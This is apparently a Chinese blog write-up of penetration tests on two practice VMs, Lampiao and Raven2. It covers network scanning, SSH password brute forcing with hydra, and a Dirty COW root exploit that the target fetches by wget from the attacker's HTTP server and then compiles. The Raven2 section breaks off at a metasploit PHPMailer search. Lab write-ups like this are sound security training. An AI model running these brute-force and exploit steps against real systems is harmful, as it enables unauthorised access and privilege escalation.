Linux靶机练习

本文详细记录了多个Linux靶机的渗透测试过程,包括信息收集、漏洞探测、利用和提权等步骤。通过netdiscover、nmap、御剑扫描等工具进行网络扫描,发现并利用PHPMailer、CVE-2016-10033等漏洞,通过ssh、ftp、webshell等方式获取shell权限,最后通过提权手段获取root权限。整个过程中涉及sql注入、文件包含、密码爆破、远程代码执行等多种攻击手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文章目录

第1次 Lampiao

1.信息收集

1.1 netdiscover扫描

安装好靶机之后,有个账户密码登录,但我们并不知道账户和密码,所以我们用kali进行扫描其ip地址

image-20220228095834169

用命令进行扫描

netdiscover

得到IP地址:

192.168.81.139

image-20220228100017088

1.2 namp扫描

命令如下:

第1次扫描

发现了2个端口,22和80

nmap -T4 -A -v 192.168.81.139

image-20220228101431628

image-20220228101745393

连接密码:

ssh-hostkey:
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

image-20220228101929405

第2次扫描

发现了3个端口,22、80和1898

nmap -p- -A -sV 192.168.81.139

image-20220228102443976

1.3 御剑扫描

扫描1898端口出来了信息

http://192.168.81.139:1898

image-20220228103159698

扫描的信息如下

http://192.168.81.139:1898/robots.txt
http://192.168.81.139:1898/includes/
http://192.168.81.139:1898/misc/
http://192.168.81.139:1898/index.php
http://192.168.81.139:1898/install.php

打开扫描到的文件

http://192.168.81.139:1898/robots.txt

可以看到下面文件中包含很多信息,并且含有路径信息,可以看到有一个更新日志文件

Disallow: /CHANGELOG.txt

打开这个文件

http://192.168.81.139:1898/CHANGELOG.txt

image-20220228104124413

robots.txt文件内容

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

打开登录网站

直接加端口号就进入了这个网站

http://192.168.81.139:1898/

image-20220228104400933

sql注入

未能成功

1'

image-20220228104838867

链接跳转

发现两处可以跳转

image-20220228105118926

node/1

跳转后的网址如下:

http://192.168.81.139:1898/?q=node/1

image-20220228105302109

node/3
http://192.168.81.139:1898/?q=node/3

发现有一个音频文件和一句话:Node 2 is not working

image-20220228105332634

打开音频文件

并未有任何有用的信息

http://192.168.81.139:1898/LuizGonzaga-LampiaoFalou.mp3
node/2

把node/3,改为node/2

得到一个音频文件和一个图片

http://192.168.81.139:1898/?q=node/2
audio.m4a
qrc.png

image-20220228110006085

打开音频文件

http://192.168.81.139:1898/audio.m4a

打开图片

http://192.168.81.139:1898/qrc.png

发效了一个二维码

扫描之后,发现信息如下:

Try harder!muahuahua

image-20220228110230126

2. 漏洞探测

2.1 利用cewl获取网站信息

利用cewl获取网站关键信息从而生成一个密码字典:

cewl http://192.168.81.139:1898 -w lampiao.txt

image-20220228111522755

hydra对用户密码进行爆破

利用hydra对用户tiago密码进行爆破:

hydra -l tiago -P lampiao.txt 192.168.81.139 ssh

得到账户密码:

login: tiago   
password: Virgulino

image-20220228112147921

2.2 ssh进行登录

利用ssh进行登录:

ssh tiago@192.168.81.139

根据提示输入

yes
Virgulino (这个就是密码)

image-20220228131442763

查看靶机信息:

uname -a

image-20220228131612586

3. 提权

3.1 利用脏牛提权

用Kali 自带的漏洞搜索有无能进行脏牛提权的shell:

searchsploit dirty

image-20220228132438851

开启临时服务器

  • 将40847.cpp文件复制到当前目录下
  • 并且利用 python2 -m SimpleHTTPServer 1234
  • 开启临时的建议服务器

注意事项

  • 因此使用Python2时要特别注明,
  • 如果没安装Python3则不用特殊注明,
  • Python3无法利用该方法开启简易服务器,
    • 另外,开启服务器后默认的访问目录
      • 为当前开启服务器的目录,
      • 即我在 ~/桌面 这个目录下,
      • 则在浏览器中访问的话则默认能看 ~/桌面 目录下的文件。

3.2 对40847文件的操作

查找40847.cpp文件

find / -name 40847.cpp

拷贝40847.cpp文件

把文件复制到要定义的服务目录下

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp  /home/xxb1/

image-20220228134343291

使用下面命令时,要在

/home/xxb1/        目录下使用
python2 -m SimpleHTTPServer 1234 

image-20220228134318225

3.3 tiago用户下载40847.cpp文件

在刚才ssh登录的tiago用户的/tmp目录下下载40847.cpp文件:

wget http://192.168.81.131:1234/40847.cpp
#ip地址改为自己的kali的IP

image-20220228134454847

对40847.cpp文件进行编译:

g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

./40847   #这个是-o 后面的那个名字,可自定义

解释:

  • -O2 :表示编译器的优化选项,
  • -std=c++11:表示按照c++ 2011标准来编译,
  • -pthread :是指利用到多线程时需要用到的库(我也不知道为啥要加上这个参数,希望评论区有大神能指出)
  • -o name :中name表示生成的文件的名字

image-20220228135217088

3.4 获取root权限

获取到了root的密码:

dirtyCowFun

再利用ssh登录:

ssh root@192.168.81.139  

发现登陆后已经是root了

image-20220228135624966

找到flag.txt文件

内容如下:

9740616875908d91ddcdaa8aea3af366

image-20220228135759814

第2次 Raven2

1 信息搜集

1.1 获得ip地址

打开kali输入下面的命令

netdiscover

得到IP地址为

192.168.81.140

image-20220301142724658

1.2 nmap进行扫描

nmap -sS -sV -T5 -A -p- 192.168.81.140

可以看到有4个端口是开放的

PORT       STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp    open  http    Apache httpd 2.4.10 ((Debian))

111/tcp open  rpcbind 2-4 (RPC #100000)

36274/tcp open   status  1 (RPC #100024)

image-20220301143909989

1.3 御剑扫描

192.168.81.140

扫到了两个网址

http://192.168.81.140/index.html
http://192.168.81.140/manual

image-20220301144215154

第1个网址信息

http://192.168.81.140/index.html

image-20220301144406476

点击BLOG会跳转到新的网址

http://192.168.81.140/wordpress/

image-20220301145014020

跳转后的网页

image-20220301145048250

点击链接时出错,跳转后的地址

http://raven.local/wordpress/index.php/2018/08/12/hello-world/

细心一点可以发现这是域名解析的问题

  • url由我们输入的ip地址变成了raven.local
  • 我们需要做的是配置电脑的hosts文件
  • 使域名解析到192.168.81.140

image-20220301145250822

添加hosts文件项

在kali中输入下面命令进入编辑hosts文件中

vim /etc/hosts 

具体做法如下,中间使用tab

  • 按 i 进行编辑,编辑好之后
  • 按 esc 结束编辑
  • 按 :wq 保存并退出
192.168.81.140	raven.local

image-20220301145902344

利用kali自带的浏览器进行访问

可以正常访问

image-20220301151351317

1.4 扫描目录

扫描:http://raven.local/ 目录

扫过来很多目录

主要分为三个web信息目录

http://raven.local/manual/
http://raven.local/vendor/
http://raven.local/wordpress/

image-20220301152053855

1.4.1 http://raven.local/vendor/ 信息

image-20220301153151708

flag1
http://raven.local/vendor/PATH

image-20220301153416113

信息如下

/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

MD5码在线解码

https://www.somd5.com/

解码为:

Raven2Flag1

image-20220301153634262

1.4.2 PHPmailer邮件及版本

http://raven.local/vendor/README.md

http://raven.local/vendor/VERSION

得到版本为:5.2.16

image-20220301153838147

1.4.3 http://raven.local/wordpress/信息

http://raven.local/wordpress/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SI8r5cjS-1648344144889)(https://gitee.com/xxb667/img/raw/master/img/image-20220301154009588.png)]

使用dirb扫描目录
dirb http://raven.local/wordpress/

image-20220301155249776

找到flag3
http://raven.local/wordpress/wp-content/uploads/

image-20220301155338339

点击2018文件夹,在里面可以找到一个flag3.png的图片

image-20220301155425654

http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png

得到的信息为:

flag3{a0f568aa9de277887f37730d71520d9b}

用MD5在线解码得

Raven2Flag3

image-20220301155736831

1.4.4 http://raven.local/manual/信息

http://raven.local/manual/

image-20220301155807177

Apache版本信息

  • Apache HTTP Server Version 2.4 Documentation

1.5 信息整理

IP:     192.168.81.140
端口:   22  80  111  36274
域名:   raven.local
--------------------------------------------------------------------------------------------
路径:
        http://raven.local/vendor/
        http://raven.local/wordpress/
        http://raven.local/manual/
--------------------------------------------------------------------------------------------
邮件:     PHPmailer 5.2.16
cms:      WordPress 4.8.7
数据库:   MySQL

web服务器:Apache 2.4.10

flag:

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
MD5解码:Raven2Flag1

flag3{a0f568aa9de277887f37730d71520d9b}
MD5解码:Raven2Flag3

第2个网址信息

http://192.168.81.140/manual

image-20220301144519513

2. 漏洞探测

2.1 PHPmailer 5.2.16漏洞

  • 找到了CVE漏洞编号和漏洞介绍
  • 继续查找/vendor下文件中是否有可用信息
  • 在PATH中找到网站路径,
  • 可以得到网站绝对路径
    • /var/www/html
/var/www/html/vendor/

2.2 CVE-2016-10033远程代码执行漏洞

在网上查找了一下漏洞的利用方式,

  • 可以使用metasploit的漏洞模块
  • 也可以直接下载exploit库中的POC进行利用

漏洞利用需要的信息:

靶机ip、靶机端口、网站绝对路径、邮件发送页面

现在就差邮件发送的页面了,

  • 查找一下dirb扫描的结果没有
  • 使用大字典扫描路径
  • 并指定语言为php
dirb http://raven.local/ -X .php /usr/share/wordlists/dirb/big.txt

得到下面网址

http://raven.local/contact.php
http://raven.local/contact.php

image-20220301160707697

打开页面

1610627680_60003a609f97cbc67b4df.png!small?1610627680580

说明:

  • 网站绝对路径是http://raven.local所在路径,
  • 就是**/var/www/html**
  • 这样生成的xxx.php文件
  • 我们才可以通过http://raven.local/xxx.php进行访问
靶机ip:192.168.81.140

靶机端口:80

网站绝对路径:/var/www/html

邮件功能页面:/contact.php

wordpress网站漏洞探测

  • 在网上查阅关于wordpress4.8.7版本可使用的漏洞,
  • 找到了几个,但是需要登录后台之后才能利用,
  • 而我连用户名都不知道是什么!

转移视线,

  • 记得刚开始的时候我使用
  • nmap扫描到22端口是开启状态,
  • 并且得到版本号OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0),
  • 所以我搜索此版本存在的漏洞,
  • 发现了用户名枚举的漏洞

3 漏洞利用(反弹shell)

3.1 phpmailerCVE-2016-10033远程代码执行漏洞利用

metasploit

msfconsole

搜索phpmailer

search PHPmailer

image-20220301161846807

使用info id查看漏洞的适用版本

发现第0个适用(适用于5.2.19及以下版本phpmailer)


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值